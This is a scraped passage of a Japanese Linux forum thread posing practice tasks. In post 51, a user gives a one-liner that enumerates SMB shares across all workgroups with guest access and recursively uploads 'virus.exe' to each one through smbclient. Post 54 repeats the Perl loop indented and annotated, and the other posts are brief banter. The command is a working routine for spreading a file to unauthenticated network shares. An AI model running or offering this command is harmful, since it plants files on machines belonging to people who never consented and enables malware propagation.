【上達】私に課題を与えてください 問題集１巻目at LINUX【上達】私に課題を与えてください 問題集１巻目 - 暇つぶし2ch■コピペモード□スレを通常表示□オプションモード□このｽﾚｯﾄﾞのURL■項目テキスト50:login:Penguin 09/08/26 10:34:19 tozyo/AI これは巧妙に仕組まれた単発質問スレだ。 51:login:Penguin 09/08/26 17:43:31 p7NCW5nO >>46 -bがないと同じワークグループ内しか探してくれなかった。 $ smbtree -b -Uguest%|perl -nle 'if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}' 52:login:Penguin 09/08/26 21:30:18 mferTyOH 次スレ 【緊縛】私に罰を与えてください 問題集2縄目 53:login:Penguin 09/08/26 22:25:40 qwJ2/jyu >>51 小さくまとまっていて、ほどく（＝理解）のがたいへん。 54:login:Penguin 09/08/26 23:03:13 p7NCW5nO >>53 じゃあ Perl の部分だけインデントします。 while (<>) { # "\\マシン名\\フォルダ名"を抜き出す if (/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/) { $h = $1; $h =~ tr{\\}{/}; system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\""); } } 次ページ最新レス表示レスジャンプ類似スレ一覧スレッドの検索話題のニュースおまかせリストオプションしおりを挟むスレッドに書込スレッドの一覧暇つぶし2ch